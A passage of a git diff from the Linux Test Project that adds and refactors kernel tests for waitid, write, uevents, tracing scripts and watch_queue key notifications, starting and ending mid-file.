+	TST_EXP_EQ_LI(infop->si_status, SIGFPE);
+	TST_EXP_EQ_LI(infop->si_signo, SIGCHLD);
+
+	if (core_dumps)
+		TST_EXP_EQ_LI(infop->si_code, CLD_DUMPED);
+	else
+		TST_EXP_EQ_LI(infop->si_code, CLD_KILLED);
+}
+
+static void setup(void)
+{
+	struct rlimit rlim;
+	char c;
+
+	SAFE_GETRLIMIT(RLIMIT_CORE, &rlim);
+	SAFE_FILE_SCANF("/proc/sys/kernel/core_pattern", "%c", &c);
+
+	if (rlim.rlim_cur)
+		return;
+
+	if (!rlim.rlim_max) {
+		if (c != '|')
+			core_dumps = 0;
+		return;
+	}
+
+	tst_res(TINFO, "Raising RLIMIT_CORE rlim_cur=%li -> %li",
+	        rlim.rlim_cur, rlim.rlim_max);
+
+	rlim.rlim_cur = rlim.rlim_max;
+	SAFE_SETRLIMIT(RLIMIT_CORE, &rlim);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.forks_child = 1,
+	.setup = setup,
+	.bufs =	(struct tst_buffers[]) {
+		{&infop, .size = sizeof(*infop)},
+		{},
+	},
+};
diff --git a/testcases/kernel/syscalls/waitid/waitid11.c b/testcases/kernel/syscalls/waitid/waitid11.c
new file mode 100644
index 0000000..e3754bb
--- /dev/null
+++ b/testcases/kernel/syscalls/waitid/waitid11.c
@@ -0,0 +1,47 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Crackerjack Project., 2007
+ * Copyright (C) 2022 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * This test is checking if waitid() syscall recognizes a process that has been
+ * killed with SIGKILL.
+ */
+
+#include <time.h>
+#include <stdlib.h>
+#include <sys/wait.h>
+#include "tst_test.h"
+
+static siginfo_t *infop;
+
+static void run(void)
+{
+	pid_t pidchild;
+
+	pidchild = SAFE_FORK();
+	if (!pidchild) {
+		pause();
+		return;
+	}
+
+	SAFE_KILL(pidchild, SIGKILL);
+
+	TST_EXP_PASS(waitid(P_ALL, 0, infop, WEXITED));
+	TST_EXP_EQ_LI(infop->si_pid, pidchild);
+	TST_EXP_EQ_LI(infop->si_status, SIGKILL);
+	TST_EXP_EQ_LI(infop->si_signo, SIGCHLD);
+	TST_EXP_EQ_LI(infop->si_code, CLD_KILLED);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.forks_child = 1,
+	.bufs =	(struct tst_buffers[]) {
+		{&infop, .size = sizeof(*infop)},
+		{},
+	},
+};
diff --git a/testcases/kernel/syscalls/write/.gitignore b/testcases/kernel/syscalls/write/.gitignore
index 7f36194..8529aae 100644
--- a/testcases/kernel/syscalls/write/.gitignore
+++ b/testcases/kernel/syscalls/write/.gitignore
@@ -3,3 +3,4 @@
 /write03
 /write04
 /write05
+/write06
diff --git a/testcases/kernel/syscalls/write/write04.c b/testcases/kernel/syscalls/write/write04.c
index a765d91..41f5e67 100644
--- a/testcases/kernel/syscalls/write/write04.c
+++ b/testcases/kernel/syscalls/write/write04.c
@@ -1,16 +1,14 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines Corp., 2001
+ * Copyright (c) Linux Test Project, 2002-2022
+ * Copyright (c) International Business Machines Corp., 2001
  */
 
-/*
- * DESCRIPTION
- *	Testcase to check that write() sets errno to EAGAIN
+/*\
+ * [Description]
  *
- * ALGORITHM
- *	Create a named pipe (fifo), open it in O_NONBLOCK mode, and
- *	attempt to write to it when it is full, write(2) should fail
+ * Verify that write(2) fails with errno EAGAIN when attempt to write to fifo
+ * opened in O_NONBLOCK mode.
  */
 
 #include <sys/stat.h>
@@ -30,20 +28,7 @@
 {
 	char wbuf[8 * page_size];
 
-	TEST(write(wfd, wbuf, sizeof(wbuf)));
-
-	if (TST_RET != -1) {
-		tst_res(TFAIL, "write() succeeded unexpectedly");
-		return;
-	}
-
-	if (TST_ERR != EAGAIN) {
-		tst_res(TFAIL | TTERRNO,
-			"write() failed unexpectedly, expected EAGAIN");
-		return;
-	}
-
-	tst_res(TPASS | TTERRNO, "write() failed expectedly");
+	TST_EXP_FAIL(write(wfd, wbuf, sizeof(wbuf)), EAGAIN);
 }
 
 static void setup(void)
diff --git a/testcases/kernel/syscalls/write/write06.c b/testcases/kernel/syscalls/write/write06.c
new file mode 100644
index 0000000..c175548
--- /dev/null
+++ b/testcases/kernel/syscalls/write/write06.c
@@ -0,0 +1,94 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2021 FUJITSU LIMITED. All rights reserved.
+ * Author: Dai Shili <daisl.fnst@fujitsu.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Test the write() system call with O_APPEND.
+ *
+ * The full description of O_APPEND is in open(2) man-pages:
+ * The file is opened in append mode.  Before each write(2), the
+ * file offset is positioned at the end of the file, as if with lseek(2).
+ * The modification of the file offset and the write operation are
+ * performed as a single atomic step.
+ *
+ * Writing 2k data to the file, close it and reopen it with O_APPEND.
+ * Verify that the file size is 3k and offset is moved to the end of the file.
+ */
+
+#include <stdlib.h>
+#include <inttypes.h>
+#include "tst_test.h"
+#include "tst_safe_prw.h"
+
+#define K1              1024
+#define K2              (K1 * 2)
+#define K3              (K1 * 3)
+#define DATA_FILE       "write06_file"
+
+static int fd = -1;
+static char *write_buf[2];
+
+static void verify_write(void)
+{
+	off_t off;
+	struct stat statbuf;
+
+	fd = SAFE_OPEN(DATA_FILE, O_RDWR | O_CREAT | O_TRUNC, 0666);
+	SAFE_WRITE(1, fd, write_buf[0], K2);
+	SAFE_CLOSE(fd);
+
+	fd = SAFE_OPEN(DATA_FILE, O_RDWR | O_APPEND);
+	SAFE_FSTAT(fd, &statbuf);
+	if (statbuf.st_size != K2)
+		tst_res(TFAIL, "file size is %ld != K2", statbuf.st_size);
+
+	off = SAFE_LSEEK(fd, K1, SEEK_SET);
+	if (off != K1)
+		tst_brk(TBROK, "Failed to seek to K1");
+
+	SAFE_WRITE(1, fd, write_buf[1], K1);
+
+	off = SAFE_LSEEK(fd, 0, SEEK_CUR);
+	if (off != K3)
+		tst_res(TFAIL, "Wrong offset after write %zu expected %u", off, K3);
+	else
+		tst_res(TPASS, "Offset is correct after write %zu", off);
+
+	SAFE_FSTAT(fd, &statbuf);
+	if (statbuf.st_size != K3)
+		tst_res(TFAIL, "Wrong file size after append %zu expected %u", statbuf.st_size, K3);
+	else
+		tst_res(TPASS, "Correct file size after append %u", K3);
+
+	SAFE_CLOSE(fd);
+}
+
+static void setup(void)
+{
+	memset(write_buf[0], 0, K2);
+	memset(write_buf[1], 1, K1);
+}
+
+static void cleanup(void)
+{
+	if (fd != -1)
+		SAFE_CLOSE(fd);
+
+	SAFE_UNLINK(DATA_FILE);
+}
+
+static struct tst_test test = {
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = verify_write,
+	.bufs = (struct tst_buffers[]) {
+		{&write_buf[0], .size = K2},
+		{&write_buf[1], .size = K1},
+		{}
+	}
+};
diff --git a/testcases/kernel/syscalls/writev/writev03.c b/testcases/kernel/syscalls/writev/writev03.c
index d0c6474..5b49620 100644
--- a/testcases/kernel/syscalls/writev/writev03.c
+++ b/testcases/kernel/syscalls/writev/writev03.c
@@ -49,7 +49,6 @@
 	mapfd = SAFE_OPEN(MAPFILE, O_CREAT|O_RDWR|O_TRUNC, 0644);
 	SAFE_WRITE(1, mapfd, buf, BUF_SIZE);
 
-	fzsync_pair.exec_time_p = 0.25;
 	tst_fzsync_pair_init(&fzsync_pair);
 }
 
@@ -146,6 +145,7 @@
 	.min_cpus = 2,
 	.setup = setup,
 	.cleanup = cleanup,
+	.max_runtime = 75,
 	.tags = (const struct tst_tag[]) {
 		{"linux-git", "d4690f1e1cda"},
 		{}
diff --git a/testcases/kernel/tracing/Makefile b/testcases/kernel/tracing/Makefile
index e9f96c3..8ca6a71 100644
--- a/testcases/kernel/tracing/Makefile
+++ b/testcases/kernel/tracing/Makefile
@@ -1,3 +1,4 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
 top_srcdir		?= ../../..
 
 include $(top_srcdir)/include/mk/env_pre.mk
diff --git a/testcases/kernel/tracing/dynamic_debug/Makefile b/testcases/kernel/tracing/dynamic_debug/Makefile
index d38138e..9913ee1 100644
--- a/testcases/kernel/tracing/dynamic_debug/Makefile
+++ b/testcases/kernel/tracing/dynamic_debug/Makefile
@@ -1,21 +1,5 @@
-#
-#    tracing/dynamic_debug test suite Makefile.
-#
-#    Copyright (C) 2017 Red Hat, Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-#    General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, see <http://www.gnu.org/licenses/>.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2017 Red Hat, Inc.
 
 top_srcdir		?= ../../../..
 
diff --git a/testcases/kernel/tracing/dynamic_debug/dynamic_debug01.sh b/testcases/kernel/tracing/dynamic_debug/dynamic_debug01.sh
index 7f06c24..4b15951 100755
--- a/testcases/kernel/tracing/dynamic_debug/dynamic_debug01.sh
+++ b/testcases/kernel/tracing/dynamic_debug/dynamic_debug01.sh
@@ -17,9 +17,6 @@
 TST_SETUP=setup
 TST_CLEANUP=cleanup
 
-. tst_test.sh
-
-
 DEBUGFS_WAS_MOUNTED=0
 DEBUGFS_PATH=""
 DEBUGFS_CONTROL=""
@@ -27,7 +24,6 @@
 EMPTY_FLAG="-"
 NEW_INTERFACE=0
 
-
 mount_debugfs()
 {
 	if grep -q debugfs /proc/mounts ; then
@@ -38,7 +34,7 @@
 		if ! grep -q debugfs /proc/filesystems ; then
 			tst_res TCONF "debugfs not supported"
 		fi
-		DEBUGFS_PATH="./tst_debug"
+		DEBUGFS_PATH="$PWD/tst_debug"
 		mkdir "$DEBUGFS_PATH"
 		if mount -t debugfs xxx "$DEBUGFS_PATH" ; then
 			tst_res TINFO "debugfs mounted at $DEBUGFS_PATH"
@@ -153,4 +149,5 @@
 	fi
 }
 
+. tst_test.sh
 tst_run
diff --git a/testcases/kernel/tracing/ftrace_test/ftrace_lib.sh b/testcases/kernel/tracing/ftrace_test/ftrace_lib.sh
index d9a206b..5f8f8a2 100755
--- a/testcases/kernel/tracing/ftrace_test/ftrace_lib.sh
+++ b/testcases/kernel/tracing/ftrace_test/ftrace_lib.sh
@@ -60,7 +60,7 @@
 {
 	cd $TRACING_PATH
 
-	old_trace_options=( `cat trace_options` )
+	old_trace_options=`cat trace_options`
 	old_tracing_on=`cat tracing_on`
 	old_buffer_size=`cat buffer_size_kb`
 	old_tracing_cpumask=`cat tracing_cpumask`
@@ -128,12 +128,11 @@
 	echo $old_buffer_size > buffer_size_kb
 	echo $old_tracing_on > tracing_on
 
-	if [ -e tracing_enabled ];then
+	if [ -e tracing_enabled ]; then
 		echo $old_tracing_enabled > tracing_enabled
 	fi
 
-	for option in $old_trace_options
-	do
+	for option in $old_trace_options; do
 		echo $option > trace_options 2> /dev/null
 	done
 
diff --git a/testcases/kernel/tracing/pt_test/pt_test.c b/testcases/kernel/tracing/pt_test/pt_test.c
index 33db6d7..54011a8 100644
--- a/testcases/kernel/tracing/pt_test/pt_test.c
+++ b/testcases/kernel/tracing/pt_test/pt_test.c
@@ -219,9 +219,9 @@
 static struct tst_test test = {
 	.test_all = intel_pt_trace_check,
 	.options = (struct tst_option[]) {
-		{"m", &str_mode, "-m different mode, default is full mode"},
-		{"e:", &str_exclude_info, "-e exclude info, user or kernel"},
-		{"b", &str_branch_flag, "-b if disable branch trace"},
+		{"m", &str_mode, "Different mode, default is full mode"},
+		{"e:", &str_exclude_info, "Exclude info, user or kernel"},
+		{"b", &str_branch_flag, "Disable branch trace"},
 		{}
 	},
 	.min_kver = "4.1",
diff --git a/testcases/kernel/uevents/uevent.h b/testcases/kernel/uevents/uevent.h
index 908e150..1ad092d 100644
--- a/testcases/kernel/uevents/uevent.h
+++ b/testcases/kernel/uevents/uevent.h
@@ -163,7 +163,7 @@
 		if (WIFEXITED(status) && WEXITSTATUS(status) == 0)
 			return;
 
-		tst_res(TFAIL, "Child exitted with %s", tst_strstatus(status));
+		tst_res(TFAIL, "Child exited with %s", tst_strstatus(status));
 	}
 
 	SAFE_KILL(pid, SIGKILL);
diff --git a/testcases/kernel/uevents/uevent02.c b/testcases/kernel/uevents/uevent02.c
index ce0cf75..4355cd8 100644
--- a/testcases/kernel/uevents/uevent02.c
+++ b/testcases/kernel/uevents/uevent02.c
@@ -18,11 +18,77 @@
 #include <linux/if.h>
 #include <linux/if_tun.h>
 
+#include "tst_kconfig.h"
 #include "tst_test.h"
 
 #include "uevent.h"
 
 #define TUN_PATH "/dev/net/tun"
+#define CONFIG_RPS "CONFIG_RPS"
+#define MAX_UEVENTS 7
+
+static struct uevent_desc add = {
+	.msg = "add@/devices/virtual/net/ltp-tun0",
+	.value_cnt = 4,
+	.values = (const char*[]) {
+		"ACTION=add",
+		"DEVPATH=/devices/virtual/net/ltp-tun0",
+		"SUBSYSTEM=net",
+		"INTERFACE=ltp-tun0",
+	}
+};
+
+static struct uevent_desc add_rx = {
+	.msg = "add@/devices/virtual/net/ltp-tun0/queues/rx-0",
+	.value_cnt = 3,
+	.values = (const char*[]) {
+		"ACTION=add",
+		"DEVPATH=/devices/virtual/net/ltp-tun0/queues/rx-0",
+		"SUBSYSTEM=queues",
+	}
+};
+
+static struct uevent_desc add_tx = {
+	.msg = "add@/devices/virtual/net/ltp-tun0/queues/tx-0",
+	.value_cnt = 3,
+	.values = (const char*[]) {
+		"ACTION=add",
+		"DEVPATH=/devices/virtual/net/ltp-tun0/queues/tx-0",
+		"SUBSYSTEM=queues",
+	}
+};
+
+static struct uevent_desc rem_rx = {
+	.msg = "remove@/devices/virtual/net/ltp-tun0/queues/rx-0",
+	.value_cnt = 3,
+	.values = (const char*[]) {
+		"ACTION=remove",
+		"DEVPATH=/devices/virtual/net/ltp-tun0/queues/rx-0",
+		"SUBSYSTEM=queues",
+	}
+};
+
+static struct uevent_desc rem_tx = {
+	.msg = "remove@/devices/virtual/net/ltp-tun0/queues/tx-0",
+	.value_cnt = 3,
+	.values = (const char*[]) {
+		"ACTION=remove",
+		"DEVPATH=/devices/virtual/net/ltp-tun0/queues/tx-0",
+		"SUBSYSTEM=queues",
+	}
+};
+
+static struct uevent_desc rem = {
+	.msg = "remove@/devices/virtual/net/ltp-tun0",
+	.value_cnt = 4,
+	.values = (const char*[]) {
+		"ACTION=remove",
+		"DEVPATH=/devices/virtual/net/ltp-tun0",
+		"SUBSYSTEM=net",
+		"INTERFACE=ltp-tun0",
+	}
+};
+static const struct uevent_desc *uevents[MAX_UEVENTS];
 
 static void generate_tun_uevents(void)
 {
@@ -44,78 +110,6 @@
 {
 	int pid, fd;
 
-	struct uevent_desc add = {
-		.msg = "add@/devices/virtual/net/ltp-tun0",
-		.value_cnt = 4,
-		.values = (const char*[]) {
-			"ACTION=add",
-			"DEVPATH=/devices/virtual/net/ltp-tun0",
-			"SUBSYSTEM=net",
-			"INTERFACE=ltp-tun0",
-		}
-	};
-
-	struct uevent_desc add_rx = {
-		.msg = "add@/devices/virtual/net/ltp-tun0/queues/rx-0",
-		.value_cnt = 3,
-		.values = (const char*[]) {
-			"ACTION=add",
-			"DEVPATH=/devices/virtual/net/ltp-tun0/queues/rx-0",
-			"SUBSYSTEM=queues",
-		}
-	};
-
-	struct uevent_desc add_tx = {
-		.msg = "add@/devices/virtual/net/ltp-tun0/queues/tx-0",
-		.value_cnt = 3,
-		.values = (const char*[]) {
-			"ACTION=add",
-			"DEVPATH=/devices/virtual/net/ltp-tun0/queues/tx-0",
-			"SUBSYSTEM=queues",
-		}
-	};
-
-	struct uevent_desc rem_rx = {
-		.msg = "remove@/devices/virtual/net/ltp-tun0/queues/rx-0",
-		.value_cnt = 3,
-		.values = (const char*[]) {
-			"ACTION=remove",
-			"DEVPATH=/devices/virtual/net/ltp-tun0/queues/rx-0",
-			"SUBSYSTEM=queues",
-		}
-	};
-
-	struct uevent_desc rem_tx = {
-		.msg = "remove@/devices/virtual/net/ltp-tun0/queues/tx-0",
-		.value_cnt = 3,
-		.values = (const char*[]) {
-			"ACTION=remove",
-			"DEVPATH=/devices/virtual/net/ltp-tun0/queues/tx-0",
-			"SUBSYSTEM=queues",
-		}
-	};
-
-	struct uevent_desc rem = {
-		.msg = "remove@/devices/virtual/net/ltp-tun0",
-		.value_cnt = 4,
-		.values = (const char*[]) {
-			"ACTION=remove",
-			"DEVPATH=/devices/virtual/net/ltp-tun0",
-			"SUBSYSTEM=net",
-			"INTERFACE=ltp-tun0",
-		}
-	};
-
-	const struct uevent_desc *const uevents[] = {
-		&add,
-		&add_rx,
-		&add_tx,
-		&rem_rx,
-		&rem_tx,
-		&rem,
-		NULL
-	};
-
 	pid = SAFE_FORK();
 	if (!pid) {
 		fd = open_uevent_netlink();
@@ -131,7 +125,29 @@
 	wait_for_pid(pid);
 }
 
+static void setup(void)
+{
+	struct tst_kconfig_var kconfig = {
+		.id = CONFIG_RPS,
+		.id_len = sizeof(CONFIG_RPS) - 1,
+	};
+	int i = 0;
+
+	tst_kconfig_read(&kconfig, 1);
+
+	uevents[i++] = &add;
+	if (kconfig.choice == 'y')
+		uevents[i++] = &add_rx;
+	uevents[i++] = &add_tx;
+	if (kconfig.choice == 'y')
+		uevents[i++] = &rem_rx;
+	uevents[i++] = &rem_tx;
+	uevents[i++] = &rem;
+	uevents[i++] = NULL;
+}
+
 static struct tst_test test = {
+	.setup = setup,
 	.test_all = verify_uevent,
 	.forks_child = 1,
 	.needs_checkpoints = 1,
diff --git a/testcases/kernel/watchqueue/.gitignore b/testcases/kernel/watchqueue/.gitignore
new file mode 100644
index 0000000..dcfcd82
--- /dev/null
+++ b/testcases/kernel/watchqueue/.gitignore
@@ -0,0 +1,9 @@
+wqueue01
+wqueue02
+wqueue03
+wqueue04
+wqueue05
+wqueue06
+wqueue07
+wqueue08
+wqueue09
diff --git a/testcases/kernel/watchqueue/Makefile b/testcases/kernel/watchqueue/Makefile
new file mode 100644
index 0000000..896d66d
--- /dev/null
+++ b/testcases/kernel/watchqueue/Makefile
@@ -0,0 +1,8 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+
+top_srcdir			?= ../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
+
+LDLIBS += $(KEYUTILS_LIBS)
diff --git a/testcases/kernel/watchqueue/common.h b/testcases/kernel/watchqueue/common.h
new file mode 100644
index 0000000..92e8f07
--- /dev/null
+++ b/testcases/kernel/watchqueue/common.h
@@ -0,0 +1,165 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+#ifndef WQUEUE_COMMON_H__
+#define WQUEUE_COMMON_H__
+
+#include <unistd.h>
+#include "tst_test.h"
+#include "lapi/watch_queue.h"
+#include "lapi/keyctl.h"
+
+static struct watch_notification_filter wqueue_filter = {
+	.nr_filters	= 2,
+	.filters = {
+		[0]	= {
+			.type			= WATCH_TYPE_META,
+			.subtype_filter[0]	= UINT_MAX,
+		},
+		[1]	= {
+			.type			= WATCH_TYPE_KEY_NOTIFY,
+			.subtype_filter[0]	= UINT_MAX,
+		},
+	},
+};
+
+static inline int wqueue_key_event(struct watch_notification *n, size_t len,
+				   unsigned int wtype, int type)
+{
+	struct key_notification *k;
+	const char *msg;
+
+	if (wtype != WATCH_TYPE_KEY_NOTIFY)
+		return 0;
+
+	if (len != sizeof(struct key_notification))
+		tst_brk(TBROK, "Incorrect key message length");
+
+	switch (n->subtype) {
+	case NOTIFY_KEY_INSTANTIATED:
+		msg = "instantiated";
+		break;
+	case NOTIFY_KEY_UPDATED:
+		msg = "updated";
+		break;
+	case NOTIFY_KEY_LINKED:
+		msg = "linked";
+		break;
+	case NOTIFY_KEY_UNLINKED:
+		msg = "unlinked";
+		break;
+	case NOTIFY_KEY_CLEARED:
+		msg = "cleared";
+		break;
+	case NOTIFY_KEY_REVOKED:
+		msg = "revoked";
+		break;
+	case NOTIFY_KEY_INVALIDATED:
+		msg = "invalidated";
+		break;
+	case NOTIFY_KEY_SETATTR:
+		msg = "setattr";
+		break;
+	default:
+		msg = "Invalid notification";
+		break;
+	};
+
+	k = (struct key_notification *)n;
+	tst_res(TINFO, "KEY %08x change=%u[%s] aux=%u", k->key_id, n->subtype, msg,
+			k->aux);
+
+	if (n->subtype == type)
+		return 1;
+
+	return 0;
+}
+
+static inline key_serial_t wqueue_add_key(int fd)
+{
+	key_serial_t key;
+
+	key = add_key("user", "ltptestkey", "a", 1, KEY_SPEC_SESSION_KEYRING);
+	if (key == -1)
+		tst_brk(TBROK, "add_key error: %s", tst_strerrno(errno));
+
+	keyctl(KEYCTL_WATCH_KEY, key, fd, 0x01);
+	keyctl(KEYCTL_WATCH_KEY, KEY_SPEC_SESSION_KEYRING, fd, 0x02);
+
+	return key;
+}
+
+static inline int wqueue_watch(int buf_size,
+			       struct watch_notification_filter *filter)
+{
+	int pipefd[2];
+	int fd;
+
+	TEST(pipe2(pipefd, O_NOTIFICATION_PIPE));
+	if (TST_RET) {
+		switch (TST_ERR) {
+		case ENOPKG:
+			tst_brk(TCONF | TTERRNO, "CONFIG_WATCH_QUEUE is not set");
+			break;
+		case EINVAL:
+			tst_brk(TCONF | TTERRNO, "O_NOTIFICATION_PIPE is not supported");
+			break;
+		default:
+			tst_brk(TBROK | TTERRNO, "pipe2() returned %ld", TST_RET);
+		}
+	}
+
+	fd = pipefd[0];
+
+	SAFE_IOCTL(fd, IOC_WATCH_QUEUE_SET_SIZE, buf_size);
+	SAFE_IOCTL(fd, IOC_WATCH_QUEUE_SET_FILTER, filter);
+
+	return fd;
+}
+
+typedef void (*wqueue_callback)(struct watch_notification *n, size_t len,
+				unsigned int wtype);
+
+static void wqueue_consumer(int fd, wqueue_callback cb)
+{
+	unsigned char buffer[433], *p, *end;
+	union {
+		struct watch_notification n;
+		unsigned char buf1[128];
+	} n;
+	ssize_t buf_len;
+
+	tst_res(TINFO, "Reading watch queue events");
+
+	buf_len = SAFE_READ(0, fd, buffer, sizeof(buffer));
+
+	p = buffer;
+	end = buffer + buf_len;
+	while (p < end) {
+		size_t largest, len;
+
+		largest = end - p;
+		if (largest > 128)
+			largest = 128;
+
+		if (largest < sizeof(struct watch_notification))
+			tst_brk(TBROK, "Short message header: %zu", largest);
+
+		memcpy(&n, p, largest);
+
+		tst_res(TINFO, "NOTIFY[%03zx]: ty=%06x sy=%02x i=%08x", p - buffer,
+				n.n.type, n.n.subtype, n.n.info);
+
+		len = n.n.info & WATCH_INFO_LENGTH;
+		if (len < sizeof(n.n) || len > largest)
+			tst_brk(TBROK, "Bad message length: %zu/%zu", len, largest);
+
+		cb(&n.n, len, n.n.type);
+
+		p += len;
+	}
+}
+
+#endif
diff --git a/testcases/kernel/watchqueue/wqueue01.c b/testcases/kernel/watchqueue/wqueue01.c
new file mode 100644
index 0000000..904e512
--- /dev/null
+++ b/testcases/kernel/watchqueue/wqueue01.c
@@ -0,0 +1,43 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Test if keyctl update is correctly recognized by watch queue.
+ */
+
+#define _GNU_SOURCE
+
+#include "tst_test.h"
+#include "lapi/keyctl.h"
+#include "common.h"
+
+static void saw_key_updated(struct watch_notification *n, size_t len,
+			    unsigned int wtype)
+{
+	if (wqueue_key_event(n, len, wtype, NOTIFY_KEY_UPDATED))
+		tst_res(TPASS, "keyctl update has been recognized");
+	else
+		tst_res(TFAIL, "keyctl update has not been recognized");
+}
+
+static void run(void)
+{
+	int fd;
+	key_serial_t key;
+
+	fd = wqueue_watch(256, &wqueue_filter);
+	key = wqueue_add_key(fd);
+
+	keyctl(KEYCTL_UPDATE, key, "b", 1);
+	wqueue_consumer(fd, saw_key_updated);
+
+	SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+};
diff --git a/testcases/kernel/watchqueue/wqueue02.c b/testcases/kernel/watchqueue/wqueue02.c
new file mode 100644
index 0000000..0c3e947
--- /dev/null
+++ b/testcases/kernel/watchqueue/wqueue02.c
@@ -0,0 +1,43 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Test if keyctl unlink is correctly recognized by watch queue.
+ */
+
+#define _GNU_SOURCE
+
+#include "tst_test.h"
+#include "lapi/keyctl.h"
+#include "common.h"
+
+static void saw_key_unlinked(struct watch_notification *n, size_t len,
+			     unsigned int wtype)
+{
+	if (wqueue_key_event(n, len, wtype, NOTIFY_KEY_UNLINKED))
+		tst_res(TPASS, "keyctl unlink has been recognized");
+	else
+		tst_res(TFAIL, "keyctl unlink has not been recognized");
+}
+
+static void run(void)
+{
+	int fd;
+	key_serial_t key;
+
+	fd = wqueue_watch(256, &wqueue_filter);
+	key = wqueue_add_key(fd);
+
+	keyctl(KEYCTL_UNLINK, key, KEY_SPEC_SESSION_KEYRING);
+	wqueue_consumer(fd, saw_key_unlinked);
+
+	SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+};
diff --git a/testcases/kernel/watchqueue/wqueue03.c b/testcases/kernel/watchqueue/wqueue03.c
new file mode 100644
index 0000000..c17fc14
--- /dev/null
+++ b/testcases/kernel/watchqueue/wqueue03.c
@@ -0,0 +1,43 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Test if keyctl revoke is correctly recognized by watch queue.
+ */
+
+#define _GNU_SOURCE
+
+#include "tst_test.h"
+#include "lapi/keyctl.h"
+#include "common.h"
+
+static void saw_key_revoked(struct watch_notification *n, size_t len,
+			    unsigned int wtype)
+{
+	if (wqueue_key_event(n, len, wtype, NOTIFY_KEY_REVOKED))
+		tst_res(TPASS, "keyctl revoke has been recognized");
+	else
+		tst_res(TFAIL, "keyctl revoke has not been recognized");
+}
+
+static void run(void)
+{
+	int fd;
+	key_serial_t key;
+
+	fd = wqueue_watch(256, &wqueue_filter);
+	key = wqueue_add_key(fd);
+
+	keyctl(KEYCTL_REVOKE, key);
+	wqueue_consumer(fd, saw_key_revoked);
+
+	SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+};
diff --git a/testcases/kernel/watchqueue/wqueue04.c b/testcases/kernel/watchqueue/wqueue04.c
new file mode 100644
index 0000000..fc88006
--- /dev/null
+++ b/testcases/kernel/watchqueue/wqueue04.c
@@ -0,0 +1,43 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Test if keyctl link is correctly recognized by watch queue.
+ */
+
+#define _GNU_SOURCE
+
+#include "tst_test.h"
+#include "lapi/keyctl.h"
+#include "common.h"
+
+static void saw_key_linked(struct watch_notification *n, size_t len,
+			   unsigned int wtype)
+{
+	if (wqueue_key_event(n, len, wtype, NOTIFY_KEY_LINKED))
+		tst_res(TPASS, "keyctl link has been recognized");
+	else
+		tst_res(TFAIL, "keyctl link has not been recognized");
+}
+
+static void run(void)
+{
+	int fd;
+	key_serial_t key;
+
+	fd = wqueue_watch(256, &wqueue_filter);
+	key = wqueue_add_key(fd);
+
+	keyctl(KEYCTL_LINK, key, KEY_SPEC_SESSION_KEYRING);
+	wqueue_consumer(fd, saw_key_linked);
+
+	SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+};
diff --git a/testcases/kernel/watchqueue/wqueue05.c b/testcases/kernel/watchqueue/wqueue05.c
new file mode 100644
index 0000000..78a4c70
--- /dev/null
+++ b/testcases/kernel/watchqueue/wqueue05.c
@@ -0,0 +1,43 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Test if keyctl invalidate is correctly recognized by watch queue.
+ */
+
+#define _GNU_SOURCE
+
+#include "tst_test.h"
+#include "lapi/keyctl.h"
+#include "common.h"
+
+static void saw_key_invalidated(struct watch_notification *n, size_t len,
+				unsigned int wtype)
+{
+	if (wqueue_key_event(n, len, wtype, NOTIFY_KEY_INVALIDATED))
+		tst_res(TPASS, "keyctl invalidate has been recognized");
+	else
+		tst_res(TFAIL, "keyctl invalidate has not been recognized");
+}
+
+static void run(void)
+{
+	int fd;
+	key_serial_t key;
+
+	fd = wqueue_watch(256, &wqueue_filter);
+	key = wqueue_add_key(fd);
+
+	keyctl(KEYCTL_INVALIDATE, key);
+	wqueue_consumer(fd, saw_key_invalidated);
+
+	SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+};
diff --git a/testcases/kernel/watchqueue/wqueue06.c b/testcases/kernel/watchqueue/wqueue06.c
new file mode 100644
index 0000000..2cb6a96
